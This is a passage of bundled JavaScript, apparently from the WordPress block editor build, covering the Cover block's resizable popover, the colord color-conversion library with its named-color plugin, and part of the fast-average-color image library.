      import_block_editor65.MediaPlaceholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(import_block_editor65.BlockIcon, { icon: cover_default }),
        labels: {
          title: (0, import_i18n51.__)(&quot;Cover&quot;)
        },
        onSelect: onSelectMedia,
        allowedTypes: ALLOWED_MEDIA_TYPES2,
        disableMediaButtons,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        onError,
        style: style2,
        children
      }
    );
  }

  // packages/block-library/build-module/cover/edit/resizable-cover-popover.mjs
  var import_element23 = __toESM(require_element(), 1);
  var import_block_editor66 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime224 = __toESM(require_jsx_runtime(), 1);
  var RESIZABLE_BOX_ENABLE_OPTION = {
    top: false,
    right: false,
    bottom: true,
    left: false,
    topRight: false,
    bottomRight: false,
    bottomLeft: false,
    topLeft: false
  };
  var { ResizableBoxPopover } = unlock(import_block_editor66.privateApis);
  function ResizableCoverPopover({
    className,
    height,
    minHeight,
    onResize,
    onResizeStart,
    onResizeStop,
    showHandle,
    size,
    width,
    ...props
  }) {
    const [isResizing, setIsResizing] = (0, import_element23.useState)(false);
    const resizableBoxProps = {
      className: clsx_default(className, { &quot;is-resizing&quot;: isResizing }),
      enable: RESIZABLE_BOX_ENABLE_OPTION,
      onResizeStart: (_event, _direction, elt) =&gt; {
        onResizeStart(elt.clientHeight);
        onResize(elt.clientHeight);
      },
      onResize: (_event, _direction, elt) =&gt; {
        onResize(elt.clientHeight);
        if (!isResizing) {
          setIsResizing(true);
        }
      },
      onResizeStop: (_event, _direction, elt) =&gt; {
        onResizeStop(elt.clientHeight);
        setIsResizing(false);
      },
      showHandle,
      size,
      __experimentalShowTooltip: true,
      __experimentalTooltipProps: {
        axis: &quot;y&quot;,
        position: &quot;bottom&quot;,
        isVisible: isResizing
      }
    };
    return /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(
      ResizableBoxPopover,
      {
        className: &quot;block-library-cover__resizable-box-popover&quot;,
        resizableBoxProps,
        ...props
      }
    );
  }

  // node_modules/colord/index.mjs
  var r2 = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
  var t = function(r3) {
    return &quot;string&quot; == typeof r3 ? r3.length &gt; 0 : &quot;number&quot; == typeof r3;
  };
  var n = function(r3, t2, n2) {
    return void 0 === t2 &amp;&amp; (t2 = 0), void 0 === n2 &amp;&amp; (n2 = Math.pow(10, t2)), Math.round(n2 * r3) / n2 + 0;
  };
  var e = function(r3, t2, n2) {
    return void 0 === t2 &amp;&amp; (t2 = 0), void 0 === n2 &amp;&amp; (n2 = 1), r3 &gt; n2 ? n2 : r3 &gt; t2 ? r3 : t2;
  };
  var u = function(r3) {
    return (r3 = isFinite(r3) ? r3 % 360 : 0) &gt; 0 ? r3 : r3 + 360;
  };
  var a = function(r3) {
    return { r: e(r3.r, 0, 255), g: e(r3.g, 0, 255), b: e(r3.b, 0, 255), a: e(r3.a) };
  };
  var o = function(r3) {
    return { r: n(r3.r), g: n(r3.g), b: n(r3.b), a: n(r3.a, 3) };
  };
  var i = /^#([0-9a-f]{3,8})$/i;
  var s = function(r3) {
    var t2 = r3.toString(16);
    return t2.length &lt; 2 ? &quot;0&quot; + t2 : t2;
  };
  var h = function(r3) {
    var t2 = r3.r, n2 = r3.g, e2 = r3.b, u2 = r3.a, a2 = Math.max(t2, n2, e2), o2 = a2 - Math.min(t2, n2, e2), i2 = o2 ? a2 === t2 ? (n2 - e2) / o2 : a2 === n2 ? 2 + (e2 - t2) / o2 : 4 + (t2 - n2) / o2 : 0;
    return { h: 60 * (i2 &lt; 0 ? i2 + 6 : i2), s: a2 ? o2 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
  };
  var b = function(r3) {
    var t2 = r3.h, n2 = r3.s, e2 = r3.v, u2 = r3.a;
    t2 = t2 / 360 * 6, n2 /= 100, e2 /= 100;
    var a2 = Math.floor(t2), o2 = e2 * (1 - n2), i2 = e2 * (1 - (t2 - a2) * n2), s2 = e2 * (1 - (1 - t2 + a2) * n2), h2 = a2 % 6;
    return { r: 255 * [e2, i2, o2, o2, s2, e2][h2], g: 255 * [s2, e2, e2, i2, o2, o2][h2], b: 255 * [o2, o2, s2, e2, e2, i2][h2], a: u2 };
  };
  var g = function(r3) {
    return { h: u(r3.h), s: e(r3.s, 0, 100), l: e(r3.l, 0, 100), a: e(r3.a) };
  };
  var d = function(r3) {
    return { h: n(r3.h), s: n(r3.s), l: n(r3.l), a: n(r3.a, 3) };
  };
  var f = function(r3) {
    return b((n2 = (t2 = r3).s, { h: t2.h, s: (n2 *= ((e2 = t2.l) &lt; 50 ? e2 : 100 - e2) / 100) &gt; 0 ? 2 * n2 / (e2 + n2) * 100 : 0, v: e2 + n2, a: t2.a }));
    var t2, n2, e2;
  };
  var c = function(r3) {
    return { h: (t2 = h(r3)).h, s: (u2 = (200 - (n2 = t2.s)) * (e2 = t2.v) / 100) &gt; 0 &amp;&amp; u2 &lt; 200 ? n2 * e2 / 100 / (u2 &lt;= 100 ? u2 : 200 - u2) * 100 : 0, l: u2 / 2, a: t2.a };
    var t2, n2, e2, u2;
  };
  var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
  var y = { string: [[function(r3) {
    var t2 = i.exec(r3);
    return t2 ? (r3 = t2[1]).length &lt;= 4 ? { r: parseInt(r3[0] + r3[0], 16), g: parseInt(r3[1] + r3[1], 16), b: parseInt(r3[2] + r3[2], 16), a: 4 === r3.length ? n(parseInt(r3[3] + r3[3], 16) / 255, 2) : 1 } : 6 === r3.length || 8 === r3.length ? { r: parseInt(r3.substr(0, 2), 16), g: parseInt(r3.substr(2, 2), 16), b: parseInt(r3.substr(4, 2), 16), a: 8 === r3.length ? n(parseInt(r3.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
  }, &quot;hex&quot;], [function(r3) {
    var t2 = v.exec(r3) || m.exec(r3);
    return t2 ? t2[2] !== t2[4] || t2[4] !== t2[6] ? null : a({ r: Number(t2[1]) / (t2[2] ? 100 / 255 : 1), g: Number(t2[3]) / (t2[4] ? 100 / 255 : 1), b: Number(t2[5]) / (t2[6] ? 100 / 255 : 1), a: void 0 === t2[7] ? 1 : Number(t2[7]) / (t2[8] ? 100 : 1) }) : null;
  }, &quot;rgb&quot;], [function(t2) {
    var n2 = l.exec(t2) || p.exec(t2);
    if (!n2) return null;
    var e2, u2, a2 = g({ h: (e2 = n2[1], u2 = n2[2], void 0 === u2 &amp;&amp; (u2 = &quot;deg&quot;), Number(e2) * (r2[u2] || 1)), s: Number(n2[3]), l: Number(n2[4]), a: void 0 === n2[5] ? 1 : Number(n2[5]) / (n2[6] ? 100 : 1) });
    return f(a2);
  }, &quot;hsl&quot;]], object: [[function(r3) {
    var n2 = r3.r, e2 = r3.g, u2 = r3.b, o2 = r3.a, i2 = void 0 === o2 ? 1 : o2;
    return t(n2) &amp;&amp; t(e2) &amp;&amp; t(u2) ? a({ r: Number(n2), g: Number(e2), b: Number(u2), a: Number(i2) }) : null;
  }, &quot;rgb&quot;], [function(r3) {
    var n2 = r3.h, e2 = r3.s, u2 = r3.l, a2 = r3.a, o2 = void 0 === a2 ? 1 : a2;
    if (!t(n2) || !t(e2) || !t(u2)) return null;
    var i2 = g({ h: Number(n2), s: Number(e2), l: Number(u2), a: Number(o2) });
    return f(i2);
  }, &quot;hsl&quot;], [function(r3) {
    var n2 = r3.h, a2 = r3.s, o2 = r3.v, i2 = r3.a, s2 = void 0 === i2 ? 1 : i2;
    if (!t(n2) || !t(a2) || !t(o2)) return null;
    var h2 = (function(r4) {
      return { h: u(r4.h), s: e(r4.s, 0, 100), v: e(r4.v, 0, 100), a: e(r4.a) };
    })({ h: Number(n2), s: Number(a2), v: Number(o2), a: Number(s2) });
    return b(h2);
  }, &quot;hsv&quot;]] };
  var N = function(r3, t2) {
    for (var n2 = 0; n2 &lt; t2.length; n2++) {
      var e2 = t2[n2][0](r3);
      if (e2) return [e2, t2[n2][1]];
    }
    return [null, void 0];
  };
  var x = function(r3) {
    return &quot;string&quot; == typeof r3 ? N(r3.trim(), y.string) : &quot;object&quot; == typeof r3 &amp;&amp; null !== r3 ? N(r3, y.object) : [null, void 0];
  };
  var M = function(r3, t2) {
    var n2 = c(r3);
    return { h: n2.h, s: e(n2.s + 100 * t2, 0, 100), l: n2.l, a: n2.a };
  };
  var H = function(r3) {
    return (299 * r3.r + 587 * r3.g + 114 * r3.b) / 1e3 / 255;
  };
  var $ = function(r3, t2) {
    var n2 = c(r3);
    return { h: n2.h, s: n2.s, l: e(n2.l + 100 * t2, 0, 100), a: n2.a };
  };
  var j = (function() {
    function r3(r4) {
      this.parsed = x(r4)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
    }
    return r3.prototype.isValid = function() {
      return null !== this.parsed;
    }, r3.prototype.brightness = function() {
      return n(H(this.rgba), 2);
    }, r3.prototype.isDark = function() {
      return H(this.rgba) &lt; 0.5;
    }, r3.prototype.isLight = function() {
      return H(this.rgba) &gt;= 0.5;
    }, r3.prototype.toHex = function() {
      return r4 = o(this.rgba), t2 = r4.r, e2 = r4.g, u2 = r4.b, i2 = (a2 = r4.a) &lt; 1 ? s(n(255 * a2)) : &quot;&quot;, &quot;#&quot; + s(t2) + s(e2) + s(u2) + i2;
      var r4, t2, e2, u2, a2, i2;
    }, r3.prototype.toRgb = function() {
      return o(this.rgba);
    }, r3.prototype.toRgbString = function() {
      return r4 = o(this.rgba), t2 = r4.r, n2 = r4.g, e2 = r4.b, (u2 = r4.a) &lt; 1 ? &quot;rgba(&quot; + t2 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;, &quot; + u2 + &quot;)&quot; : &quot;rgb(&quot; + t2 + &quot;, &quot; + n2 + &quot;, &quot; + e2 + &quot;)&quot;;
      var r4, t2, n2, e2, u2;
    }, r3.prototype.toHsl = function() {
      return d(c(this.rgba));
    }, r3.prototype.toHslString = function() {
      return r4 = d(c(this.rgba)), t2 = r4.h, n2 = r4.s, e2 = r4.l, (u2 = r4.a) &lt; 1 ? &quot;hsla(&quot; + t2 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%, &quot; + u2 + &quot;)&quot; : &quot;hsl(&quot; + t2 + &quot;, &quot; + n2 + &quot;%, &quot; + e2 + &quot;%)&quot;;
      var r4, t2, n2, e2, u2;
    }, r3.prototype.toHsv = function() {
      return r4 = h(this.rgba), { h: n(r4.h), s: n(r4.s), v: n(r4.v), a: n(r4.a, 3) };
      var r4;
    }, r3.prototype.invert = function() {
      return w({ r: 255 - (r4 = this.rgba).r, g: 255 - r4.g, b: 255 - r4.b, a: r4.a });
      var r4;
    }, r3.prototype.saturate = function(r4) {
      return void 0 === r4 &amp;&amp; (r4 = 0.1), w(M(this.rgba, r4));
    }, r3.prototype.desaturate = function(r4) {
      return void 0 === r4 &amp;&amp; (r4 = 0.1), w(M(this.rgba, -r4));
    }, r3.prototype.grayscale = function() {
      return w(M(this.rgba, -1));
    }, r3.prototype.lighten = function(r4) {
      return void 0 === r4 &amp;&amp; (r4 = 0.1), w($(this.rgba, r4));
    }, r3.prototype.darken = function(r4) {
      return void 0 === r4 &amp;&amp; (r4 = 0.1), w($(this.rgba, -r4));
    }, r3.prototype.rotate = function(r4) {
      return void 0 === r4 &amp;&amp; (r4 = 15), this.hue(this.hue() + r4);
    }, r3.prototype.alpha = function(r4) {
      return &quot;number&quot; == typeof r4 ? w({ r: (t2 = this.rgba).r, g: t2.g, b: t2.b, a: r4 }) : n(this.rgba.a, 3);
      var t2;
    }, r3.prototype.hue = function(r4) {
      var t2 = c(this.rgba);
      return &quot;number&quot; == typeof r4 ? w({ h: r4, s: t2.s, l: t2.l, a: t2.a }) : n(t2.h);
    }, r3.prototype.isEqual = function(r4) {
      return this.toHex() === w(r4).toHex();
    }, r3;
  })();
  var w = function(r3) {
    return r3 instanceof j ? r3 : new j(r3);
  };
  var S = [];
  var k = function(r3) {
    r3.forEach(function(r4) {
      S.indexOf(r4) &lt; 0 &amp;&amp; (r4(j, y), S.push(r4));
    });
  };

  // node_modules/colord/plugins/names.mjs
  function names_default(e2, f2) {
    var a2 = { white: &quot;#ffffff&quot;, bisque: &quot;#ffe4c4&quot;, blue: &quot;#0000ff&quot;, cadetblue: &quot;#5f9ea0&quot;, chartreuse: &quot;#7fff00&quot;, chocolate: &quot;#d2691e&quot;, coral: &quot;#ff7f50&quot;, antiquewhite: &quot;#faebd7&quot;, aqua: &quot;#00ffff&quot;, azure: &quot;#f0ffff&quot;, whitesmoke: &quot;#f5f5f5&quot;, papayawhip: &quot;#ffefd5&quot;, plum: &quot;#dda0dd&quot;, blanchedalmond: &quot;#ffebcd&quot;, black: &quot;#000000&quot;, gold: &quot;#ffd700&quot;, goldenrod: &quot;#daa520&quot;, gainsboro: &quot;#dcdcdc&quot;, cornsilk: &quot;#fff8dc&quot;, cornflowerblue: &quot;#6495ed&quot;, burlywood: &quot;#deb887&quot;, aquamarine: &quot;#7fffd4&quot;, beige: &quot;#f5f5dc&quot;, crimson: &quot;#dc143c&quot;, cyan: &quot;#00ffff&quot;, darkblue: &quot;#00008b&quot;, darkcyan: &quot;#008b8b&quot;, darkgoldenrod: &quot;#b8860b&quot;, darkkhaki: &quot;#bdb76b&quot;, darkgray: &quot;#a9a9a9&quot;, darkgreen: &quot;#006400&quot;, darkgrey: &quot;#a9a9a9&quot;, peachpuff: &quot;#ffdab9&quot;, darkmagenta: &quot;#8b008b&quot;, darkred: &quot;#8b0000&quot;, darkorchid: &quot;#9932cc&quot;, darkorange: &quot;#ff8c00&quot;, darkslateblue: &quot;#483d8b&quot;, gray: &quot;#808080&quot;, darkslategray: &quot;#2f4f4f&quot;, darkslategrey: &quot;#2f4f4f&quot;, deeppink: &quot;#ff1493&quot;, deepskyblue: &quot;#00bfff&quot;, wheat: &quot;#f5deb3&quot;, firebrick: &quot;#b22222&quot;, floralwhite: &quot;#fffaf0&quot;, ghostwhite: &quot;#f8f8ff&quot;, darkviolet: &quot;#9400d3&quot;, magenta: &quot;#ff00ff&quot;, green: &quot;#008000&quot;, dodgerblue: &quot;#1e90ff&quot;, grey: &quot;#808080&quot;, honeydew: &quot;#f0fff0&quot;, hotpink: &quot;#ff69b4&quot;, blueviolet: &quot;#8a2be2&quot;, forestgreen: &quot;#228b22&quot;, lawngreen: &quot;#7cfc00&quot;, indianred: &quot;#cd5c5c&quot;, indigo: &quot;#4b0082&quot;, fuchsia: &quot;#ff00ff&quot;, brown: &quot;#a52a2a&quot;, maroon: &quot;#800000&quot;, mediumblue: &quot;#0000cd&quot;, lightcoral: &quot;#f08080&quot;, darkturquoise: &quot;#00ced1&quot;, lightcyan: &quot;#e0ffff&quot;, ivory: &quot;#fffff0&quot;, lightyellow: &quot;#ffffe0&quot;, lightsalmon: &quot;#ffa07a&quot;, lightseagreen: &quot;#20b2aa&quot;, linen: &quot;#faf0e6&quot;, mediumaquamarine: &quot;#66cdaa&quot;, lemonchiffon: &quot;#fffacd&quot;, lime: &quot;#00ff00&quot;, khaki: &quot;#f0e68c&quot;, mediumseagreen: &quot;#3cb371&quot;, limegreen: &quot;#32cd32&quot;, mediumspringgreen: &quot;#00fa9a&quot;, lightskyblue: &quot;#87cefa&quot;, lightblue: &quot;#add8e6&quot;, midnightblue: &quot;#191970&quot;, lightpink: &quot;#ffb6c1&quot;, mistyrose: &quot;#ffe4e1&quot;, moccasin: &quot;#ffe4b5&quot;, mintcream: &quot;#f5fffa&quot;, lightslategray: &quot;#778899&quot;, lightslategrey: &quot;#778899&quot;, navajowhite: &quot;#ffdead&quot;, navy: &quot;#000080&quot;, mediumvioletred: &quot;#c71585&quot;, powderblue: &quot;#b0e0e6&quot;, palegoldenrod: &quot;#eee8aa&quot;, oldlace: &quot;#fdf5e6&quot;, paleturquoise: &quot;#afeeee&quot;, mediumturquoise: &quot;#48d1cc&quot;, mediumorchid: &quot;#ba55d3&quot;, rebeccapurple: &quot;#663399&quot;, lightsteelblue: &quot;#b0c4de&quot;, mediumslateblue: &quot;#7b68ee&quot;, thistle: &quot;#d8bfd8&quot;, tan: &quot;#d2b48c&quot;, orchid: &quot;#da70d6&quot;, mediumpurple: &quot;#9370db&quot;, purple: &quot;#800080&quot;, pink: &quot;#ffc0cb&quot;, skyblue: &quot;#87ceeb&quot;, springgreen: &quot;#00ff7f&quot;, palegreen: &quot;#98fb98&quot;, red: &quot;#ff0000&quot;, yellow: &quot;#ffff00&quot;, slateblue: &quot;#6a5acd&quot;, lavenderblush: &quot;#fff0f5&quot;, peru: &quot;#cd853f&quot;, palevioletred: &quot;#db7093&quot;, violet: &quot;#ee82ee&quot;, teal: &quot;#008080&quot;, slategray: &quot;#708090&quot;, slategrey: &quot;#708090&quot;, aliceblue: &quot;#f0f8ff&quot;, darkseagreen: &quot;#8fbc8f&quot;, darkolivegreen: &quot;#556b2f&quot;, greenyellow: &quot;#adff2f&quot;, seagreen: &quot;#2e8b57&quot;, seashell: &quot;#fff5ee&quot;, tomato: &quot;#ff6347&quot;, silver: &quot;#c0c0c0&quot;, sienna: &quot;#a0522d&quot;, lavender: &quot;#e6e6fa&quot;, lightgreen: &quot;#90ee90&quot;, orange: &quot;#ffa500&quot;, orangered: &quot;#ff4500&quot;, steelblue: &quot;#4682b4&quot;, royalblue: &quot;#4169e1&quot;, turquoise: &quot;#40e0d0&quot;, yellowgreen: &quot;#9acd32&quot;, salmon: &quot;#fa8072&quot;, saddlebrown: &quot;#8b4513&quot;, sandybrown: &quot;#f4a460&quot;, rosybrown: &quot;#bc8f8f&quot;, darksalmon: &quot;#e9967a&quot;, lightgoldenrodyellow: &quot;#fafad2&quot;, snow: &quot;#fffafa&quot;, lightgrey: &quot;#d3d3d3&quot;, lightgray: &quot;#d3d3d3&quot;, dimgray: &quot;#696969&quot;, dimgrey: &quot;#696969&quot;, olivedrab: &quot;#6b8e23&quot;, olive: &quot;#808000&quot; }, r3 = {};
    for (var d2 in a2) r3[a2[d2]] = d2;
    var l2 = {};
    e2.prototype.toName = function(f3) {
      if (!(this.rgba.a || this.rgba.r || this.rgba.g || this.rgba.b)) return &quot;transparent&quot;;
      var d3, i2, n2 = r3[this.toHex()];
      if (n2) return n2;
      if (null == f3 ? void 0 : f3.closest) {
        var o2 = this.toRgb(), t2 = 1 / 0, b2 = &quot;black&quot;;
        if (!l2.length) for (var c2 in a2) l2[c2] = new e2(a2[c2]).toRgb();
        for (var g2 in a2) {
          var u2 = (d3 = o2, i2 = l2[g2], Math.pow(d3.r - i2.r, 2) + Math.pow(d3.g - i2.g, 2) + Math.pow(d3.b - i2.b, 2));
          u2 &lt; t2 &amp;&amp; (t2 = u2, b2 = g2);
        }
        return b2;
      }
    };
    f2.string.push([function(f3) {
      var r4 = f3.toLowerCase(), d3 = &quot;transparent&quot; === r4 ? &quot;#0000&quot; : a2[r4];
      return d3 ? new e2(d3).toRgb() : null;
    }, &quot;name&quot;]);
  }

  // node_modules/fast-average-color/dist/index.esm.js
  function toHex(num) {
    var str = num.toString(16);
    return str.length === 1 ? &quot;0&quot; + str : str;
  }
  function arrayToHex(arr) {
    return &quot;#&quot; + arr.map(toHex).join(&quot;&quot;);
  }
  function isDark(color) {
    var result = (color[0] * 299 + color[1] * 587 + color[2] * 114) / 1e3;
    return result &lt; 128;
  }
  function prepareIgnoredColor(color) {
    if (!color) {
      return [];
    }
    return isRGBArray(color) ? color : [color];
  }
  function isRGBArray(value) {
    return Array.isArray(value[0]);
  }
  function isIgnoredColor(data, index, ignoredColor) {
    for (var i2 = 0; i2 &lt; ignoredColor.length; i2++) {
      if (isIgnoredColorAsNumbers(data, index, ignoredColor[i2])) {
        return true;
      }
    }
    return false;
  }
  function isIgnoredColorAsNumbers(data, index, ignoredColor) {
    switch (ignoredColor.length) {
      case 3:
        if (isIgnoredRGBColor(data, index, ignoredColor)) {
          return true;
        }
        break;
      case 4:
        if (isIgnoredRGBAColor(data, index, ignoredColor)) {
          return true;
        }
        break;
      case 5:
        if (isIgnoredRGBAColorWithThreshold(data, index, ignoredColor)) {
          return true;
        }
        break;
      default:
        return false;
    }
  }
  function isIgnoredRGBColor(data, index, ignoredColor) {
    if (data[index + 3] !== 255) {
      return true;
    }
    if (data[index] === ignoredColor[0] &amp;&amp; data[index + 1] === ignoredColor[1] &amp;&amp; data[index + 2] === ignoredColor[2]) {
      return true;
    }
    return false;
  }
  function isIgnoredRGBAColor(data, index, ignoredColor) {
    if (data[index + 3] &amp;&amp; ignoredColor[3]) {
      return data[index] === ignoredColor[0] &amp;&amp; data[index + 1] === ignoredColor[1] &amp;&amp; data[index + 2] === ignoredColor[2] &amp;&amp; data[index + 3] === ignoredColor[3];
    }
    return data[index + 3] === ignoredColor[3];
  }
  function inRange(colorComponent, ignoredColorComponent, value) {
    return colorComponent &gt;= ignoredColorComponent - value &amp;&amp; colorComponent &lt;= ignoredColorComponent + value;
  }
  function isIgnoredRGBAColorWithThreshold(data, index, ignoredColor) {
    var redIgnored = ignoredColor[0];
    var greenIgnored = ignoredColor[1];
    var blueIgnored = ignoredColor[2];
    var alphaIgnored = ignoredColor[3];
    var threshold = ignoredColor[4];
    var alphaData = data[index + 3];
    var alphaInRange = inRange(alphaData, alphaIgnored, threshold);
    if (!alphaIgnored) {
      return alphaInRange;
    }
    if (!alphaData &amp;&amp; alphaInRange) {
      return true;
    }
    if (inRange(data[index], redIgnored, threshold) &amp;&amp; inRange(data[index + 1], greenIgnored, threshold) &amp;&amp; inRange(data[index + 2], blueIgnored, threshold) &amp;&amp; alphaInRange) {
      return true;
    }
    return false;
  }
  function dominantAlgorithm(arr, len, options2) {
    var colorHash = {};
    var divider = 24;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    var max = [0, 0, 0, 0, 0];
    for (var i2 = 0; i2 &lt; len; i2 += step) {
      var red = arr[i2];
      var green = arr[i2 + 1];
      var blue = arr[i2 + 2];
      var alpha = arr[i2 + 3];
      if (ignoredColor &amp;&amp; isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      var key = Math.round(red / divider) + &quot;,&quot; + Math.round(green / divider) + &quot;,&quot; + Math.round(blue / divider);
      if (colorHash[key]) {
        colorHash[key] = [
          colorHash[key][0] + red * alpha,
          colorHash[key][1] + green * alpha,
          colorHash[key][2] + blue * alpha,
          colorHash[key][3] + alpha,
          colorHash[key][4] + 1
        ];
      } else {
        colorHash[key] = [red * alpha, green * alpha, blue * alpha, alpha, 1];
      }
      if (max[4] &lt; colorHash[key][4]) {
        max = colorHash[key];
      }
    }
    var redTotal = max[0];
    var greenTotal = max[1];
    var blueTotal = max[2];
    var alphaTotal = max[3];
    var count = max[4];
    return alphaTotal ? [
      Math.round(redTotal / alphaTotal),
      Math.round(greenTotal / alphaTotal),
      Math.round(blueTotal / alphaTotal),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function simpleAlgorithm(arr, len, options2) {
    var redTotal = 0;
    var greenTotal = 0;
    var blueTotal = 0;
    var alphaTotal = 0;
    var count = 0;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    for (var i2 = 0; i2 &lt; len; i2 += step) {
      var alpha = arr[i2 + 3];
      var red = arr[i2] * alpha;
      var green = arr[i2 + 1] * alpha;
      var blue = arr[i2 + 2] * alpha;
      if (ignoredColor &amp;&amp; isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      redTotal += red;
      greenTotal += green;
      blueTotal += blue;
      alphaTotal += alpha;
      count++;
    }
    return alphaTotal ? [
      Math.round(redTotal / alphaTotal),
      Math.round(greenTotal / alphaTotal),
      Math.round(blueTotal / alphaTotal),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function sqrtAlgorithm(arr, len, options2) {
    var redTotal = 0;
    var greenTotal = 0;
    var blueTotal = 0;
    var alphaTotal = 0;
    var count = 0;
    var ignoredColor = options2.ignoredColor;
    var step = options2.step;
    for (var i2 = 0; i2 &lt; len; i2 += step) {
      var red = arr[i2];
      var green = arr[i2 + 1];
      var blue = arr[i2 + 2];
      var alpha = arr[i2 + 3];
      if (ignoredColor &amp;&amp; isIgnoredColor(arr, i2, ignoredColor)) {
        continue;
      }
      redTotal += red * red * alpha;
      greenTotal += green * green * alpha;
      blueTotal += blue * blue * alpha;
      alphaTotal += alpha;
      count++;
    }
    return alphaTotal ? [
      Math.round(Math.sqrt(redTotal / alphaTotal)),
      Math.round(Math.sqrt(greenTotal / alphaTotal)),
      Math.round(Math.sqrt(blueTotal / alphaTotal)),
      Math.round(alphaTotal / count)
    ] : options2.defaultColor;
  }
  function getDefaultColor(options2) {
    return getOption(options2, &quot;defaultColor&quot;, [0, 0, 0, 0]);
  }
  function getOption(options2, name123, defaultValue) {
    return options2[name123] === void 0 ? defaultValue : options2[name123];
  }
  var MIN_SIZE = 10;
  var MAX_SIZE = 100;
  function isSvg(filename) {
    return filename.search(/\.svg(\?|$)/i) !== -1;
  }
  function getOriginalSize(resource) {
    if (isInstanceOfHTMLImageElement(resource)) {
      var width = resource.naturalWidth;
      var height = resource.naturalHeight;
      if (!resource.naturalWidth &amp;&amp; isSvg(resource.src)) {
        width = height = MAX_SIZE;
      }
      return {
        width,
        height
      };
    }
    if (isInstanceOfHTMLVideoElement(resource)) {
      return {
        width: resource.videoWidth,
        height: resource.videoHeight
      };
    }
    return {
      width: resource.width,
      height: resource.height
    };
  }
  function getSrc(resource) {
    if (isInstanceOfHTMLCanvasElement(resource)) {
      return &quot;canvas&quot;;
    }
    if (isInstanceOfOffscreenCanvas(resource)) {
      return &quot;offscreencanvas&quot;;
    }
    if (isInstanceOfImageBitmap(resource)) {
      return &quot;imagebitmap&quot;;
    }
    return resource.src;
  }
  function isInstanceOfHTMLImageElement(resource) {
    return typeof HTMLImageElement !== &quot;undefined&quot; &amp;&amp; resource instanceof HTMLImageElement;
  }
  function isInstanceOfOffscreenCanvas(resource) {
    return typeof OffscreenCanvas !== &quot;undefined&quot; &amp;&amp; resource instanceof OffscreenCanvas;
  }
  function isInstanceOfHTMLVideoElement(resource) {
    return typeof HTMLVideoElement !== &quot;undefined&quot; &amp;&amp; resource instanceof HTMLVideoElement;
  }
  function isInstanceOfHTMLCanvasElement(resource) {
    return typeof HTMLCanvasElement !== &quot;undefined&quot; &amp;&amp; resource instanceof HTMLCanvasElement;
  }
  function isInstanceOfImageBitmap(resource) {
    return typeof ImageBitmap !== &quot;undefined&quot; &amp;&amp; resource instanceof ImageBitmap;
  }
  function prepareSizeAndPosition(originalSize, options2) {
    var srcLeft = getOption(options2, &quot;left&quot;, 0);
    var srcTop = getOption(options2, &quot;top&quot;, 0);
    var srcWidth = getOption(options2, &quot;width&quot;, originalSize.width);
    var srcHeight = getOption(options2, &quot;height&quot;, originalSize.height);
    var destWidth = srcWidth;
    var destHeight = srcHeight;
    if (options2.mode === &quot;precision&quot;) {
      return {
        srcLeft,
        srcTop,
        srcWidth,
        srcHeight,
        destWidth,
        destHeight
      };
    }
    var factor;
    if (srcWidth &gt; srcHeight) {
      factor = srcWidth / srcHeight;
      destWidth = MAX_SIZE;
      destHeight = Math.round(destWidth / factor);
    } else {
      factor = srcHeight / srcWidth;
      destHeight = MAX_SIZE;
      destWidth = Math.round(destHeight / factor);
    }
    if (destWidth &gt; srcWidth || destHeight &gt; srcHeight || destWidth &lt; MIN_SIZE || destHeight &lt; MIN_SIZE) {
      destWidth = srcWidth;
      destHeight = srcHeight;
    }
    return {
      srcLeft,
      srcTop,
      srcWidth,
      srcHeight,
      destWidth,
      destHeight
    };
  }
  var isWebWorkers = typeof window === &quot;undefined&quot;;
  function makeCanvas() {
    return isWebWorkers ? new OffscreenCanvas(1, 1) : document.createElement(&quot;canvas&quot;);
  }
  var ERROR_PREFIX = &quot;FastAverageColor: &quot;;
  function outputError(message, silent, error) {
    if (!silent) {
      console.error(ERROR_PREFIX + message);
      if (error) {
        console.error(error);
      }
    }
  }
  function getError(text) {
    return Error(ERROR_PREFIX + text);
  }
  var FastAverageColor = (
    /** @class */
    (function() {
      function FastAverageColor2() {
        this.canvas = null;
        this.ctx = null;
      }
      FastAverageColor2.prototype.getColorAsync = function(resource, options2) {
        if (!resource) {
          return Promise.reject(getError(&quot;call .getColorAsync() without resource.&quot;));
        }
        if (typeof resource === &quot;string&quot;) {
          if (typeof Image === &quot;undefined&quot;) {
            return Promise.reject(getError(&quot;resource as string is not supported in this environment&quot;));
          }
          var img = new Image();
          img.crossOrigin = options2 &amp;&amp; options2.crossOrigin || &quot;&quot;;
          img.src = resource;
          return this.bindImageEvents(img, options2);
        } else if (isInstanceOfHTMLImageElement(resource) &amp;&amp; !resource.complete) {
          return this.bindImageEvents(resource, options2);
        } else {
          var result = this.getColor(resource, options2);
